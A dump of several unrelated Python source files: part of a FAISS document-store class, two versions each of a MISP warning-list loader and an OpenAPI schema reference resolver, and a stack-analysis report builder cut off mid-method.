FAISS. Make sure your FAISS " "configuration file correctly points to the same database that " "was used when creating the original index.") def _create_new_index(self, vector_dim: int, metric_type, index_factory: str = "Flat", **kwargs): if index_factory == "HNSW": # faiss index factory doesn't give the same results for HNSW IP, therefore direct init. # defaults here are similar to DPR codebase (good accuracy, but very high RAM consumption) n_links = kwargs.get("n_links", 64) index = faiss.IndexHNSWFlat(vector_dim, n_links, metric_type) index.hnsw.efSearch = kwargs.get("efSearch", 20)#20 index.hnsw.efConstruction = kwargs.get("efConstruction", 80)#80 if "ivf" in index_factory.lower(): # enable reconstruction of vectors for inverted index self.faiss_indexes[index].set_direct_map_type(faiss.DirectMap.Hashtable) logger.info(f"HNSW params: n_links: {n_links}, efSearch: {index.hnsw.efSearch}, efConstruction: {index.hnsw.efConstruction}") else: index = faiss.index_factory(vector_dim, index_factory, metric_type) return index def write_documents(self, documents: Union[List[dict], List[Document]], index: Optional[str] = None, batch_size: int = 10_000, duplicate_documents: Optional[str] = None, headers: Optional[Dict[str, str]] = None) -> None: """ Add new documents to the DocumentStore. :param documents: List of `Dicts` or List of `Documents`. If they already contain the embeddings, we'll index them right away in FAISS. If not, you can later call update_embeddings() to create & index them. :param index: (SQL) index name for storing the docs and metadata :param batch_size: When working with large number of documents, batching can help reduce memory footprint. :param duplicate_documents: Handle duplicates document based on parameter options. Parameter options : ( 'skip','overwrite','fail') skip: Ignore the duplicates documents overwrite: Update any existing documents with the same ID when adding documents. fail: an error is raised if the document ID of the document being added already exists. :raises DuplicateDocumentError: Exception trigger on duplicate document :return: None """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index duplicate_documents = duplicate_documents or self.duplicate_documents assert duplicate_documents in self.duplicate_documents_options, \ f"duplicate_documents parameter must be {', '.join(self.duplicate_documents_options)}" if not self.faiss_indexes.get(index): self.faiss_indexes[index] = self._create_new_index( vector_dim=self.vector_dim, index_factory=self.faiss_index_factory_str, metric_type=faiss.METRIC_INNER_PRODUCT, ) field_map = self._create_document_field_map() document_objects = [Document.from_dict(d, field_map=field_map) if isinstance(d, dict) else d for d in documents] document_objects = self._handle_duplicate_documents(documents=document_objects, index=index, duplicate_documents=duplicate_documents) if len(document_objects) > 0: add_vectors = False if document_objects[0].embedding is None else True if self.duplicate_documents == "overwrite" and add_vectors: logger.warning("You have to provide `duplicate_documents = 'overwrite'` arg and " "`FAISSDocumentStore` does not support update in existing `faiss_index`.\n" "Please call `update_embeddings` method to repopulate `faiss_index`") vector_id = self.faiss_indexes[index].ntotal with tqdm(total = len(document_objects), disable =not self.progress_bar, position=0, desc="Writing Documents") as progress_bar: for i in range(0, len(document_objects), batch_size): if add_vectors: embeddings = [doc.embedding for doc in document_objects[i: i + batch_size]] embeddings_to_index = np.array(embeddings, dtype="float32") if self.similarity=="cosine": self.normalize_embedding(embeddings_to_index) self.faiss_indexes[index].add(embeddings_to_index) docs_to_write_in_sql = [] for doc in document_objects[i: i + batch_size]: meta = doc.meta if add_vectors: meta["vector_id"] = vector_id vector_id += 1 docs_to_write_in_sql.append(doc) super(FAISSDocumentStore, self).write_documents(docs_to_write_in_sql, index=index, duplicate_documents=duplicate_documents) progress_bar.update(batch_size) progress_bar.close() def _create_document_field_map(self) -> Dict: return { self.index: self.embedding_field, } def update_embeddings( self, retriever: 'BaseRetriever', index: Optional[str] = None, update_existing_embeddings: bool = True, filters: Optional[Dict[str, List[str]]] = None, batch_size: int = 10_000 ): """ Updates the embeddings in the the document store using the encoding model specified in the retriever. This can be useful if want to add or change the embeddings for your documents (e.g. after changing the retriever config). :param retriever: Retriever to use to get embeddings for text :param index: Index name for which embeddings are to be updated. If set to None, the default self.index is used. :param update_existing_embeddings: Whether to update existing embeddings of the documents. If set to False, only documents without embeddings are processed. This mode can be used for incremental updating of embeddings, wherein, only newly indexed documents get processed. :param filters: Optional filters to narrow down the documents for which embeddings are to be updated. Example: {"name": ["some", "more"], "category": ["only_one"]} :param batch_size: When working with large number of documents, batching can help reduce memory footprint. :return: None """ index = index or self.index if update_existing_embeddings is True: if filters is None: self.faiss_indexes[index].reset() self.reset_vector_ids(index) else: raise Exception("update_existing_embeddings=True is not supported with filters.") if not self.faiss_indexes.get(index): raise ValueError("Couldn't find a FAISS index. Try to init the FAISSDocumentStore() again ...") document_count = self.get_document_count(index=index) if document_count == 0: logger.warning("Calling DocumentStore.update_embeddings() on an empty index") return logger.info(f"Updating embeddings for {document_count} docs...") vector_id = self.faiss_indexes[index].ntotal result = self._query( index=index, vector_ids=None, batch_size=batch_size, filters=filters, only_documents_without_embedding=not update_existing_embeddings ) batched_documents = get_batches_from_generator(result, batch_size) with tqdm(total=document_count, disable=not self.progress_bar, position=0, unit=" docs", desc="Updating Embedding") as progress_bar: for document_batch in batched_documents: embeddings = retriever.embed_documents(document_batch) # type: ignore assert len(document_batch) == len(embeddings) embeddings_to_index = np.array(embeddings, dtype="float32") if self.similarity=="cosine": self.normalize_embedding(embeddings_to_index) self.faiss_indexes[index].add(embeddings_to_index) vector_id_map = {} for doc in document_batch: vector_id_map[doc.id] = vector_id vector_id += 1 self.update_vector_ids(vector_id_map, index=index) progress_bar.set_description_str("Documents Processed") progress_bar.update(batch_size) def get_all_documents( self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, return_embedding: Optional[bool] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> List[Document]: if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") result = self.get_all_documents_generator( index=index, filters=filters, return_embedding=return_embedding, batch_size=batch_size ) documents = list(result) return documents def get_all_documents_generator( self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, return_embedding: Optional[bool] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> Generator[Document, None, None]: """ Get all documents from the document store. Under-the-hood, documents are fetched in batches from the document store and yielded as individual documents. This method can be used to iteratively process a large number of documents without having to load all documents in memory. :param index: Name of the index to get the documents from. If None, the DocumentStore's default index (self.index) will be used. :param filters: Optional filters to narrow down the documents to return. Example: {"name": ["some", "more"], "category": ["only_one"]} :param return_embedding: Whether to return the document embeddings. :param batch_size: When working with large number of documents, batching can help reduce memory footprint. """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index documents = super(FAISSDocumentStore, self).get_all_documents_generator( index=index, filters=filters, batch_size=batch_size, return_embedding=False ) if return_embedding is None: return_embedding = self.return_embedding for doc in documents: if return_embedding: if doc.meta and doc.meta.get("vector_id") is not None: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) yield doc def get_documents_by_id( self, ids: List[str], index: Optional[str] = None, batch_size: int = 10_000, headers: Optional[Dict[str, str]] = None ) -> List[Document]: if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index documents = super(FAISSDocumentStore, self).get_documents_by_id(ids=ids, index=index, batch_size=batch_size) if self.return_embedding: for doc in documents: if doc.meta and doc.meta.get("vector_id") is not None: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) return documents def get_embedding_count(self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None) -> int: """ Return the count of embeddings in the document store. """ if filters: raise Exception("filters are not supported for get_embedding_count in FAISSDocumentStore") index = index or self.index return self.faiss_indexes[index].ntotal def train_index( self, documents: Optional[Union[List[dict], List[Document]]], embeddings: Optional[np.ndarray] = None, index: Optional[str] = None, ): """ Some FAISS indices (e.g. IVF) require initial "training" on a sample of vectors before you can add your final vectors. The train vectors should come from the same distribution as your final ones. You can pass either documents (incl. embeddings) or just the plain embeddings that the index shall be trained on. :param documents: Documents (incl. the embeddings) :param embeddings: Plain embeddings :param index: Name of the index to train. If None, the DocumentStore's default index (self.index) will be used. :return: None """ index = index or self.index if embeddings and documents: raise ValueError("Either pass `documents` or `embeddings`. You passed both.") if documents: document_objects = [Document.from_dict(d) if isinstance(d, dict) else d for d in documents] doc_embeddings = [doc.embedding for doc in document_objects] embeddings_for_train = np.array(doc_embeddings, dtype="float32") self.faiss_indexes[index].train(embeddings_for_train) if embeddings: self.faiss_indexes[index].train(embeddings) def delete_all_documents(self, index: Optional[str] = None, filters: Optional[Dict[str, List[str]]] = None, headers: Optional[Dict[str, str]] = None): """ Delete all documents from the document store. """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") logger.warning( """DEPRECATION WARNINGS: 1. delete_all_documents() method is deprecated, please use delete_documents method For more details, please refer to the issue: https://github.com/deepset-ai/haystack/issues/1045 """ ) self.delete_documents(index, None, filters) def delete_documents(self, index: Optional[str] = None, ids: Optional[List[str]] = None, filters: Optional[Dict[str, List[str]]] = None, headers: Optional[Dict[str, str]] = None): """ Delete documents from the document store. All documents are deleted if no filters are passed. :param index: Index name to delete the documents from. If None, the DocumentStore's default index (self.index) will be used. :param ids: Optional list of IDs to narrow down the documents to be deleted. :param filters: Optional filters to narrow down the documents to be deleted. Example filters: {"name": ["some", "more"], "category": ["only_one"]}. If filters are provided along with a list of IDs, this method deletes the intersection of the two query results (documents that match the filters and have their ID in the list). :return: None """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") index = index or self.index if index in self.faiss_indexes.keys(): if not filters and not ids: self.faiss_indexes[index].reset() else: affected_docs = self.get_all_documents(filters=filters) if ids: affected_docs = [doc for doc in affected_docs if doc.id in ids] doc_ids = [doc.meta.get("vector_id") for doc in affected_docs if doc.meta and doc.meta.get("vector_id") is not None] self.faiss_indexes[index].remove_ids(np.array(doc_ids, dtype="int64")) super().delete_documents(index=index, ids=ids, filters=filters) def query_by_embedding( self, query_emb: np.ndarray, filters: Optional[Dict[str, List[str]]] = None, top_k: int = 10, index: Optional[str] = None, return_embedding: Optional[bool] = None, headers: Optional[Dict[str, str]] = None ) -> List[Document]: """ Find the document that is most similar to the provided `query_emb` by using a vector similarity metric. :param query_emb: Embedding of the query (e.g. gathered from DPR) :param filters: Optional filters to narrow down the search space. Example: {"name": ["some", "more"], "category": ["only_one"]} :param top_k: How many documents to return :param index: Index name to query the document from. :param return_embedding: To return document embedding :return: """ if headers: raise NotImplementedError("FAISSDocumentStore does not support headers.") if filters: logger.warning("Query filters are not implemented for the FAISSDocumentStore.") index = index or self.index if not self.faiss_indexes.get(index): raise Exception(f"Index named '{index}' does not exists. Use 'update_embeddings()' to create an index.") if return_embedding is None: return_embedding = self.return_embedding query_emb = query_emb.reshape(1, -1).astype(np.float32) if self.similarity=="cosine": self.normalize_embedding(query_emb) score_matrix, vector_id_matrix = self.faiss_indexes[index].search(query_emb, top_k) vector_ids_for_query = [str(vector_id) for vector_id in vector_id_matrix[0] if vector_id != -1] documents = self.get_documents_by_vector_ids(vector_ids_for_query, index=index) #assign query score to each document scores_for_vector_ids: Dict[str, float] = {str(v_id): s for v_id, s in zip(vector_id_matrix[0], score_matrix[0])} for doc in documents: raw_score = scores_for_vector_ids[doc.meta["vector_id"]] doc.score = self.finalize_raw_score(raw_score,self.similarity) if return_embedding is True: doc.embedding = self.faiss_indexes[index].reconstruct(int(doc.meta["vector_id"])) return documents def save(self, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): """ Save FAISS Index to the specified file. :param index_path: Path to save the FAISS index to. :param config_path: Path to save the initial configuration parameters to. Defaults to the same as the file path, save the extension (.json). This file contains all the parameters passed to FAISSDocumentStore() at creation time (for example the SQL path, vector_dim, etc), and will be used by the `load` method to restore the index with the appropriate configuration. :return: None """ if not config_path: index_path = Path(index_path) config_path = index_path.with_suffix(".json") faiss.write_index(self.faiss_indexes[self.index], str(index_path)) with open(config_path, 'w') as ipp: json.dump(self.pipeline_config["params"], ipp) def _load_init_params_from_config(self, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): if not config_path: index_path = Path(index_path) config_path = index_path.with_suffix(".json") init_params: dict = {} try: with open(config_path, 'r') as ipp: init_params = json.load(ipp) except OSError as e: raise ValueError(f"Can't open FAISS configuration file `{config_path}`. " "Make sure the file exists and the you have the correct permissions " "to access it.") from e faiss_index = faiss.read_index(str(index_path)) # Add other init params to override the ones defined in the init params file init_params["faiss_index"] = faiss_index init_params["vector_dim"] = faiss_index.d return init_params @classmethod def load(cls, index_path: Union[str, Path], config_path: Optional[Union[str, Path]] = None): """ Load a saved FAISS index from a file and connect to the SQL database. Note: In order to have a correct mapping from FAISS to SQL, make sure to use the same SQL DB that you used when calling `save()`. :param index_path: Stored FAISS index file. Can be created via calling `save()` :param config_path: Stored FAISS initial configuration parameters. Can be created via calling `save()` """ return cls(faiss_index_path=index_path, faiss_config_path=config_path)
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from json import JSONEncoder import sys import collections from glob import glob from ipaddress import ip_address, ip_network from pathlib import Path from urllib.parse import urlparse try: import jsonschema HAS_JSONSCHEMA = True except ImportError: HAS_JSONSCHEMA = False class EncodeWarningList(JSONEncoder): def default(self, obj): if isinstance(obj, WarningList): return obj.to_dict() return JSONEncoder.default(self, obj) class PyMISPWarningListsError(Exception): def __init__(self, message): super(PyMISPWarningListsError, self).__init__(message) self.message = message class WarningList(): expected_types = ['string', 'substring', 'hostname', 'cidr', 'regex'] def __init__(self, warninglist, slow_search=False): self.warninglist = warninglist self.list = self.warninglist['list'] self.description = self.warninglist['description'] self.version = int(self.warninglist['version']) self.name = self.warninglist['name'] if self.warninglist['type'] not in self.expected_types: raise PyMISPWarningListsError(f'Unexpected type ({self.warninglist['type']}), please update the expected_type list') self.type = self.warninglist['type'] if self.warninglist.get('matching_attributes'): self.matching_attributes = self.warninglist['matching_attributes'] self.slow_search = slow_search self._network_objects = [] if self.slow_search and self.type == 'cidr': self._network_objects = self._network_index() # If network objects is empty, reverting to default anyway if not self._network_objects: self.slow_search = False def __repr__(self): return f'<{self.__class__.__name__}(type="{self.name}", version="{self.version}", description="{self.description}")' def __contains__(self, value): if self.slow_search: return self._slow_search(value) return self._fast_search(value) def to_dict(self): to_return = {'list': [str(e) for e in self.list], 'name': self.name, 'description': self.description, 'version': self.version, 'type': self.type} if hasattr(self, 'matching_attributes'): to_return['matching_attributes'] = self.matching_attributes return to_return def to_json(self): return json.dumps(self, cls=EncodeWarningList) def _fast_search(self, value): return value in self.list def _network_index(self): to_return = [] for entry in self.list: try: # Try if the entry is a network bloc or an IP to_return.append(ip_network(entry)) except ValueError: pass return to_return def _slow_search(self, value): if self.type == 'string': # Exact match only, using fast search return self._fast_search(value) elif self.type == 'substring': # Expected to match on a part of the value # i.e.: value = 'blah.de' self.list == ['.fr', '.de'] return any(v in value for v in self.list) elif self.type == 'hostname': # Expected to match on hostnames in URLs (i.e. the search query is a URL) # So we do a reverse search if any of the entries in the list are present in the URL # i.e.: value = 'http://foo.blah.de/meh' self.list == ['blah.de', 'blah.fr'] parsed_url = urlparse(value) if parsed_url.hostname: value = parsed_url.hostname return any(value == v or value.endswith("."+v.lstrip(".")) for v in self.list) elif self.type == 'cidr': try: value = ip_address(value) except ValueError: # The value to search isn't an IP address, falling back to default return self._fast_search(value) return any((value == obj or value in obj) for obj in self._network_objects) class WarningLists(collections.Mapping): def __init__(self, slow_search=False, lists=False): """Load all the warning lists from the package. :slow_search: If true, uses the most appropriate search method. Can be slower. Default: exact match. :lists: A list of warning lists (typically fetched from a MISP instance) """ if not lists: lists = [] self.root_dir_warninglists = Path(sys.modules['pymispwarninglists'].__file__).parent / 'data' / 'misp-warninglists' / 'lists' for warninglist_file in glob(str(self.root_dir_warninglists / '*' / 'list.json')): with open(warninglist_file, 'r') as f: lists.append(json.load(f)) if not lists: raise PyMISPWarningListsError('Unable to load the lists. Do not forget to initialize the submodule (git submodule update --init).') self.warninglists = {} for warninglist in lists: self.warninglists[warninglist['name']] = WarningList(warninglist, slow_search) def validate_with_schema(self): if not HAS_JSONSCHEMA: raise ImportError('jsonschema is required: pip install jsonschema') schema = Path(sys.modules['pymispwarninglists'].__file__).parent / 'data' / 'misp-warninglists' / 'schema.json' with open(schema, 'r') as f: loaded_schema = json.load(f) for w in self.warninglists.values(): jsonschema.validate(w.warninglist, loaded_schema) def __getitem__(self, name): return self.warninglists[name] def __iter__(self): return iter(self.warninglists) def search(self, value): matches = [] for name, wl in self.warninglists.items(): if value in wl: matches.append(wl) return matches def __len__(self): return len(self.warninglists) def get_loaded_lists(self): return self.warninglists
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from json import JSONEncoder import sys import collections from glob import glob from ipaddress import ip_address, ip_network from pathlib import Path from urllib.parse import urlparse try: import jsonschema HAS_JSONSCHEMA = True except ImportError: HAS_JSONSCHEMA = False class EncodeWarningList(JSONEncoder): def default(self, obj): if isinstance(obj, WarningList): return obj.to_dict() return JSONEncoder.default(self, obj) class PyMISPWarningListsError(Exception): def __init__(self, message): super(PyMISPWarningListsError, self).__init__(message) self.message = message class WarningList(): expected_types = ['string', 'substring', 'hostname', 'cidr', 'regex'] def __init__(self, warninglist, slow_search=False): self.warninglist = warninglist self.list = self.warninglist['list'] self.description = self.warninglist['description'] self.version = int(self.warninglist['version']) self.name = self.warninglist['name'] if self.warninglist['type'] not in self.expected_types: raise PyMISPWarningListsError(f'Unexpected type ({self.warninglist["type"]}), please update the expected_type list') self.type = self.warninglist['type'] if self.warninglist.get('matching_attributes'): self.matching_attributes = self.warninglist['matching_attributes'] self.slow_search = slow_search self._network_objects = [] if self.slow_search and self.type == 'cidr': self._network_objects = self._network_index() # If network objects is empty, reverting to default anyway if not self._network_objects: self.slow_search = False def __repr__(self): return f'<{self.__class__.__name__}(type="{self.name}", version="{self.version}", description="{self.description}")' def __contains__(self, value): if self.slow_search: return self._slow_search(value) return self._fast_search(value) def to_dict(self): to_return = {'list': [str(e) for e in self.list], 'name': self.name, 'description': self.description, 'version': self.version, 'type': self.type} if hasattr(self, 'matching_attributes'): to_return['matching_attributes'] = self.matching_attributes return to_return def to_json(self): return json.dumps(self, cls=EncodeWarningList) def _fast_search(self, value): return value in self.list def _network_index(self): to_return = [] for entry in self.list: try: # Try if the entry is a network bloc or an IP to_return.append(ip_network(entry)) except ValueError: pass return to_return def _slow_search(self, value): if self.type == 'string': # Exact match only, using fast search return self._fast_search(value) elif self.type == 'substring': # Expected to match on a part of the value # i.e.: value = 'blah.de' self.list == ['.fr', '.de'] return any(v in value for v in self.list) elif self.type == 'hostname': # Expected to match on hostnames in URLs (i.e. the search query is a URL) # So we do a reverse search if any of the entries in the list are present in the URL # i.e.: value = 'http://foo.blah.de/meh' self.list == ['blah.de', 'blah.fr'] parsed_url = urlparse(value) if parsed_url.hostname: value = parsed_url.hostname return any(value == v or value.endswith("."+v.lstrip(".")) for v in self.list) elif self.type == 'cidr': try: value = ip_address(value) except ValueError: # The value to search isn't an IP address, falling back to default return self._fast_search(value) return any((value == obj or value in obj) for obj in self._network_objects) class WarningLists(collections.Mapping): def __init__(self, slow_search=False, lists=False): """Load all the warning lists from the package. :slow_search: If true, uses the most appropriate search method. Can be slower. Default: exact match. :lists: A list of warning lists (typically fetched from a MISP instance) """ if not lists: lists = [] self.root_dir_warninglists = Path(sys.modules['pymispwarninglists'].__file__).parent / 'data' / 'misp-warninglists' / 'lists' for warninglist_file in glob(str(self.root_dir_warninglists / '*' / 'list.json')): with open(warninglist_file, 'r') as f: lists.append(json.load(f)) if not lists: raise PyMISPWarningListsError('Unable to load the lists. Do not forget to initialize the submodule (git submodule update --init).') self.warninglists = {} for warninglist in lists: self.warninglists[warninglist['name']] = WarningList(warninglist, slow_search) def validate_with_schema(self): if not HAS_JSONSCHEMA: raise ImportError('jsonschema is required: pip install jsonschema') schema = Path(sys.modules['pymispwarninglists'].__file__).parent / 'data' / 'misp-warninglists' / 'schema.json' with open(schema, 'r') as f: loaded_schema = json.load(f) for w in self.warninglists.values(): jsonschema.validate(w.warninglist, loaded_schema) def __getitem__(self, name): return self.warninglists[name] def __iter__(self): return iter(self.warninglists) def search(self, value): matches = [] for name, wl in self.warninglists.items(): if value in wl: matches.append(wl) return matches def __len__(self): return len(self.warninglists) def get_loaded_lists(self): return self.warninglists
# -*- coding: utf-8 -*- """OpenAPI schema converters and transformers.""" import re import json from jsonschema import validate from openapi_schema_to_json_schema import to_json_schema from typing import Dict def resolve_schema_references(open_api: Dict[str, any]): """Resolve the $ref objects in the OpenAPI schema. Warning: this function uses a naїve string substitution approach, which won't work for structures that have a circular reference with themself. Args: open_api: OpenAPI Schema v3.0 Returns: Resolved OpenAPI schema Raises: Exception on invalid references """ open_api_string = json.dumps(open_api) pattern = re.compile( r"{\"\$ref\": \"#\/components\/(\w+)\/(\w+)\"}" ) for (component_group, component_name) in re.findall( pattern, open_api_string ): try: component = open_api["components"][component_group][ component_name ] except KeyError: raise Exception( f"Unable to find the definition for the '{component_group}/" f"{component_name}' OpenAPI component" ) open_api_string = open_api_string.replace( f'{'{'}"$ref": "#/components/{component_group}/' f'{component_name}'{'}"}', json.dumps(component), ) return json.loads(open_api_string) def validate_object( schema: Dict[str, any], components: Dict[str, any], content: str, mime_type: str, ): """Validate a response object or request body object. ...by transforming it to JSON schema first. Args: schema: OpenAPI schema for an object The schema should not include content type keys or response codes components: The OpenAPI components that may be used in the schema object content: The content to validate (response object or request body object) mime_type: The mime type of the content to validate """ if mime_type == "application/json": resolved_schema = resolve_schema_references( dict(schema=schema, components=components) )["schema"] json_schema = to_json_schema(resolved_schema) # Make sure the response is a valid JSON object json_content = json.loads(content) # Test the response against JSON schema validate(json_content, json_schema) else: # It doesn't yet validate non JSON responses pass
# -*- coding: utf-8 -*- """OpenAPI schema converters and transformers.""" import re import json from jsonschema import validate from openapi_schema_to_json_schema import to_json_schema from typing import Dict def resolve_schema_references(open_api: Dict[str, any]): """Resolve the $ref objects in the OpenAPI schema. Warning: this function uses a naїve string substitution approach, which won't work for structures that have a circular reference with themself. Args: open_api: OpenAPI Schema v3.0 Returns: Resolved OpenAPI schema Raises: Exception on invalid references """ open_api_string = json.dumps(open_api) pattern = re.compile( r"{\"\$ref\": \"#\/components\/(\w+)\/(\w+)\"}" ) for (component_group, component_name) in re.findall( pattern, open_api_string ): try: component = open_api["components"][component_group][ component_name ] except KeyError: raise Exception( f"Unable to find the definition for the '{component_group}/" f"{component_name}' OpenAPI component" ) open_api_string = open_api_string.replace( f'{"{"}"$ref": "#/components/{component_group}/' f'{component_name}"{"}"}', json.dumps(component), ) return json.loads(open_api_string) def validate_object( schema: Dict[str, any], components: Dict[str, any], content: str, mime_type: str, ): """Validate a response object or request body object. ...by transforming it to JSON schema first. Args: schema: OpenAPI schema for an object The schema should not include content type keys or response codes components: The OpenAPI components that may be used in the schema object content: The content to validate (response object or request body object) mime_type: The mime type of the content to validate """ if mime_type == "application/json": resolved_schema = resolve_schema_references( dict(schema=schema, components=components) )["schema"] json_schema = to_json_schema(resolved_schema) # Make sure the response is a valid JSON object json_content = json.loads(content) # Test the response against JSON schema validate(json_content, json_schema) else: # It doesn't yet validate non JSON responses pass
#!/usr/bin/env python3 # Copyright © 2020 Red Hat Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Author: Deepak Sharma <deepshar@redhat.com> # """Daily/Monthly Report Generator for Stack Analyses v2 API.""" import logging import json from helpers.cve_helper import CVE from datetime import datetime as dt from helpers.db_gateway import ReportQueries from helpers.unknown_deps_report_helper import UnknownDepsReportHelperV2 from helpers.s3_helper import S3Helper logger = logging.getLogger(__file__) logging.basicConfig(level=logging.INFO) class StackReportBuilder(): """Namespace for Report Builder v2. Build and Save Report for Stack Analyses API v2. """ def __init__(self, ReportHelper): """Build Report for v2.""" self.report_helper = ReportHelper() self.total_stack_requests = {'all': 0, 'npm': 0, 'maven': 0, 'pypi': 0} self.all_deps = {'npm': [], 'maven': [], 'pypi': []} self.all_unknown_deps = {'npm': [], 'maven': [], 'pypi': []} self.unique_stacks_with_deps_count = 0 self.unique_stacks_with_recurrence_count = 0 self.avg_response_time = {'npm': {}, 'maven': {}, 'pypi': {}} self.unknown_licenses = [] self.all_cve_list = [] self.total_response_time = {'all': 0.0, 'npm': 0.0, 'maven': 0.0, 'pypi': 0.0} self.start_date = 'YYYY-MM-DD' self.end_date = 'YYYY-MM-DD' self.stacks_list = {'npm': [], 'maven': [], 'pypi': []} self.all_unknown_lic = [] self.avg_response_time = {} @staticmethod def normalize_deps_list(dependencies) -> list: """Flatten the dependencies dict into a list. :param dependencies: dependencies from each stack :return: Normalised Dependencies in a list. """ normalized_list = [] for dependency in dependencies: normalized_list.append(f'{dependency.get('name')} {dependency.get('version')}') return sorted(normalized_list) @staticmethod def get_report_template(start_date, end_date) -> dict: """Build Venus Report Template. :param start_date: Start date of data collection :param end_date: End date of data collection :return: Template """ template = { 'report': { 'from': start_date, 'to': end_date, 'generated_on': dt.now().isoformat('T'), 'report_version': 'v2', }, 'stacks_summary': {}, 'stacks_details': [] } return template @staticmethod def get_stack_info_template() -> dict: """Build Stack Template.""" stack_info_template = { 'ecosystem': '', 'stack': [], 'unknown_dependencies': [], 'license': { 'conflict': False, 'unknown': [] }, 'public_vulnerabilities': { 'cve_list': [], }, 'private_vulnerabilities': { 'cve_list': [], }, 'response_time': '' } return stack_info_template @staticmethod def get_unknown_licenses(stack) -> list: """Fetch unknown_licenses from Stack. :param stack: stack data from DB :return: List of Unknown licenses. """ return stack.get('license_analysis', {}).get('unknown_licenses', {}).get('unknown', []) @staticmethod def get_audit_timelines(data) -> tuple: """Fetch Start date and end_date from audit key. :param data: Stack data :returns: started_at, ended_at """ started_at = data.get('_audit', {}).get('started_at') ended_at = data.get('_audit', {}).get('ended_at') return started_at, ended_at def analyse_stack(self, stacks_data, report_template) -> dict: """Analyse each stack and Build reporting parameters. :param :stacks_data: Stacks Data from DB :report_template: Report Template :return: None """ logger.info("Analysing Stack data") for stack in stacks_data: stack = stack[0] stack_info_template = self.get_stack_info_template() ecosystem = stack.get('ecosystem') analysed_dependencies = stack.get('analyzed_dependencies', []) unknown_dependencies = stack.get('unknown_dependencies', []) normalised_unknown_dependencies = self.normalize_deps_list(unknown_dependencies) unknown_licenses = self.get_unknown_licenses(stack) try: if len(analysed_dependencies) == 0: continue stack_info_template['ecosystem'] = ecosystem self.total_stack_requests['all'] += 1 self.total_stack_requests[ecosystem] += 1 stack_info_template['stack'] = self.normalize_deps_list( analysed_dependencies) self.all_deps[ecosystem].append(stack_info_template['stack']) stack_str = ','.join(stack_info_template['stack']) self.stacks_list[ecosystem].append(stack_str) stack_info_template['unknown_dependencies'] = normalised_unknown_dependencies self.all_unknown_deps[ecosystem].append(normalised_unknown_dependencies) stack_info_template['license']['unknown'] = unknown_licenses self.all_unknown_lic.append(stack_info_template['license']['unknown']) # Accumulating security information. for package in analysed_dependencies: stack_info_template = self.collate_vulnerabilites(stack_info_template, package) ended_at, started_at = self.get_audit_timelines(stack) response_time = self.report_helper.datediff_in_millisecs(started_at, ended_at) stack_info_template['response_time'] = '%f ms' % response_time self.total_response_time['all'] += response_time self.total_response_time[stack_info_template['ecosystem']] += response_time report_template['stacks_details'].append(stack_info_template) except (IndexError, KeyError, TypeError) as e: logger.exception('Error: %r' % e) continue logger.info("Stacks Analyse Completed.") return report_template def collate_vulnerabilites(self, stack_info_template, package) -> dict: """Collate Vulnerability list of Private and Public Vulnerabilities. :param :stack_info_template: Template :package: Vulnerable package :return: Stack Data template filled with data """ for vul_type in ('private_vulnerabilities', "public_vulnerabilities"): for cve_info in package.get(vul_type): stack_info_template[vul_type]['cve_list'].append(cve_info) cve_id = cve_info.get('cve_ids') cvss = cve_info.get('cvss') self.all_cve_list.append(f'{cve_id}:{cvss}') return stack_info_template def build_report_summary(self, unknown_deps_ingestion_report, report_content) -> dict: """Build Final Report Summary.""" logger.info("Building Report summary.") summary = { 'total_stack_requests_count': self.total_stack_requests['all'], 'unique_unknown_licenses_with_frequency': self.report_helper.populate_key_count(self.unknown_licenses), 'unique_cves': self.report_helper.populate_key_count(self.all_cve_list), 'total_average_response_time': '{} ms'.format( self.total_response_time['all'] / len(report_content['stacks_details'])), 'cve_report': CVE().generate_cve_report(updated_on=self.start_date) } ecosystem_summary = {ecosystem: self.report_helper.get_ecosystem_summary( ecosystem, self.total_stack_requests, self.all_deps, self.all_unknown_deps, self.unique_stacks_with_recurrence_count, self.unique_stacks_with_deps_count, self.avg_response_time, unknown_deps_ingestion_report) for ecosystem in ('npm', 'maven', 'pypi')} summary.update(ecosystem_summary) return summary def set_average_response_time(self) -> None: """Set Average Response time in self.""" logger.info("Calculating Average response time.") for ecosytem in ('npm', 'maven', 'pypi'): if self.total_stack_requests[ecosytem] > 0: self.avg_response_time[ecosytem] = \ self.total_response_time[ecosytem] / self.total_stack_requests[ecosytem] continue self.avg_response_time[ecosytem] = 0 def normalize_worker_data(self, stacks_data, retrain, frequency='daily'): """Parser for worker data for Stack Analyses v2. :arg: stacks_data: Stacks Collected from DB within time-frame. frequency: Frequency of Report ( daily/monthly ) :return: Final Venus Report Generated. """ logger.info("Normalising v2 Stack Data.") stacks_data = json.loads(stacks_data) report_name = self.report_helper.get_report_name(frequency, self.end_date) report_template = self.get_report_template(self.start_date, self.end_date) report_content = self.analyse_stack(stacks_data, report_template) self.unique_stacks_with_recurrence_count = { 'npm': self.report_helper.populate_key_count(self.stacks_list['npm']), 'maven': self.report_helper.populate_key_count(self.stacks_list['maven']), 'pypi': self.report_helper.populate_key_count(self.stacks_list['pypi']) } self.unique_stacks_with_deps_count = \ self.report_helper.set_unique_stack_deps_count(self.unique_stacks_with_recurrence_count) 